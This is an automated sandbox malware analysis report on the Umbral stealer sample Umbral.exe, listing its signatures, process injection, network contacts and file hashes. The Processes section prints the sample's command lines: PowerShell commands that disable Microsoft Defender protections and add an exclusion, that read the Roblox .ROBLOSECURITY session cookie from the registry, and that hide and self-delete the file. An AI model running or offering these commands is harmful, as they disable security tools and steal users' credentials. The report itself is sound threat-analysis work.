Malware Analysis Report

2024-10-10 10:00

Sample ID 240623-px85fs1apf
Target Umbral.exe
SHA256 3105cb04cffab27e70469349ad574d22f7ae349d16ad7f19fd357c7e19d76220
Tags
umbral execution spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3105cb04cffab27e70469349ad574d22f7ae349d16ad7f19fd357c7e19d76220

Threat Level: Known bad

The file Umbral.exe was found to be: Known bad.

Malicious Activity Summary

umbral execution spyware stealer

Umbral family

Detect Umbral payload

Umbral

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Reads user/profile data of web browsers

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Unsigned PE

Detects videocard installed

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Views/modifies file attributes

Runs ping.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-23 12:43

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral family

umbral

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-23 12:43

Reported

2024-06-23 12:46

Platform

win10v2004-20240611-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral

stealer umbral

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Umbral.exe N/A

Reads user/profile data of web browsers

spyware stealer

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3752 wrote to memory of 3424 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 3424 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 3912 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\SYSTEM32\attrib.exe
PID 3752 wrote to memory of 3912 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\SYSTEM32\attrib.exe
PID 3752 wrote to memory of 4900 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 4900 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 5048 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 5048 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 656 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 656 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 372 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 372 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 1468 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 1468 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 1940 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 1940 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 3752 wrote to memory of 2336 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\SYSTEM32\cmd.exe
PID 3752 wrote to memory of 2336 N/A C:\Users\Admin\AppData\Local\Temp\Umbral.exe C:\Windows\SYSTEM32\cmd.exe
PID 2336 wrote to memory of 3552 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 2336 wrote to memory of 3552 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Umbral.exe

"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 208.95.112.1:80 ip-api.com tcp
NL 23.62.61.129:443 www.bing.com tcp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 129.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 233.128.159.162.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 32.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/3752-1-0x00007FFB079B3000-0x00007FFB079B5000-memory.dmp

memory/3752-0-0x0000028AAF460000-0x0000028AAF4A0000-memory.dmp

memory/3752-2-0x00007FFB079B0000-0x00007FFB08471000-memory.dmp

memory/4900-3-0x00007FFB079B0000-0x00007FFB08471000-memory.dmp

memory/4900-4-0x00007FFB079B0000-0x00007FFB08471000-memory.dmp

memory/4900-15-0x00007FFB079B0000-0x00007FFB08471000-memory.dmp

memory/4900-10-0x0000020DA19C0000-0x0000020DA19E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rrxzaueq.h5m.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4900-18-0x00007FFB079B0000-0x00007FFB08471000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

memory/3752-33-0x0000028AC9BE0000-0x0000028AC9C56000-memory.dmp

memory/3752-34-0x0000028AC9B60000-0x0000028AC9BB0000-memory.dmp

memory/3752-35-0x0000028AB10E0000-0x0000028AB10FE000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5824a6037c081fda5d46de274b6e2799
SHA1 526367a09300cbde430e8fb44e41cbe7a0937aac
SHA256 4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f
SHA512 a109b150f730cda78d5bee106bd232f9dca7500dfb7899c6919de2bd542e345ca271aa11809a24ea0a27dca158067ab3a2d5688ac0a2325185143245f1665582

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

memory/3752-72-0x0000028AB1130000-0x0000028AB113A000-memory.dmp

memory/3752-73-0x0000028AC9D60000-0x0000028AC9D72000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5049a71db7e98ec73d06796066250364
SHA1 520edeb4c57d8a24f3d625ae7c5aa8e74b4ba24a
SHA256 269b0aaac9825828525dc76e1df46252587f818c1bf7ea97664fc3e0b7656918
SHA512 f3627b373d5021cc7c26cbd0e3948e602eb4a6a30d4827f530ad24fdab59115ba447c791827744286f795a52d315fe93b29f966dbcf35cae418f6c6b6256d906

memory/3752-93-0x00007FFB079B0000-0x00007FFB08471000-memory.dmp